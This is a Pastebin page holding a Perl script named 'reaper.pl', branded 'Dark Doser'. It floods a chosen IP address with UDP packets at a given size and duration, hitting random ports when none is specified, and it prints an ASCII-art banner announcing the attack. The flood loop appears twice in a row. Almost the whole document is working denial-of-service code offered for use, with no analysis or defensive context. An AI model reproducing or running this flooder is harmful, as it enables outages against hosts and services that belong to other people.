Advertisement
Pretend

reaper.pl

Nov 10th, 2016
1,472
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.76 KB | None | 0 0
  1.  
  2. #!/usr/bin/perl
  3.  
  4. ##
  5. #!/usr/bin/perl
  6.  
  7. use Socket;
  8. use strict;
  9.  
  10. my ($ip,$port,$size,$time) = @ARGV;
  11.  
  12. my ($iaddr,$endtime,$psize,$pport);
  13.  
  14. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  15. $endtime = time() + ($time ? $time : 100);
  16. socket(flood, PF_INET, SOCK_DGRAM, 17);
  17.  
  18.  
  19. print <<EOTEXT;
  20.  
  21.  
  22.  
  23. ...
  24. ;::::; This is Dark Doser
  25. ;::::; :;
  26. ;:::::' :;
  27. ;:::::; ;.
  28. ,:::::' ; OOO\
  29. ::::::; ; OOOOO\
  30. ;:::::; ; OOOOOOOO
  31. ,;::::::; ;' / OOOOOOO
  32. ;:::::::::`. ,,,;. / / DOOOOOO
  33. .';:::::::::::::::::;, / / DOOOO
  34. ,::::::;::::::;;;;::::;, / / DOOO
  35. ;`::::::`'::::::;;;::::: ,#/ / DOOO
  36. :`:::::::`;::::::;;::: ;::# / DOOO
  37. ::`:::::::`;:::::::: ;::::# / DOO
  38. `:`:::::::`;:::::: ;::::::#/ DOO
  39. :::`:::::::`;; ;:::::::::## OO
  40. ::::`:::::::`;::::::::;:::# OO
  41. `:::::`::::::::::::;'`:;::# O
  42. `:::::`::::::::;' / / `:#
  43. ::::::`:::::;' / / `#
  44. EOTEXT
  45.  
  46. print "~You are attacking the ip: $ip " . ($port ? $port : "random") . " With " .
  47. ($size ? "$size-byte" : "Smacked With A Large Packets?") . " " .
  48. ($time ? "for $time seconds" : "") . "\n";
  49.  
  50. for (;time() <= $endtime;) {
  51. $psize = $size ? $size : int(rand(1024-64)+64) ;
  52. $pport = $port ? $port : int(rand(65500))+1;
  53.  
  54. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
  55. $iaddr));}for (;time() <= $endtime;) {
  56. $psize = $size ? $size : int(rand(1024-64)+64) ;
  57. $pport = $port ? $port : int(rand(65500))+1;
  58.  
  59. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
  60. $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement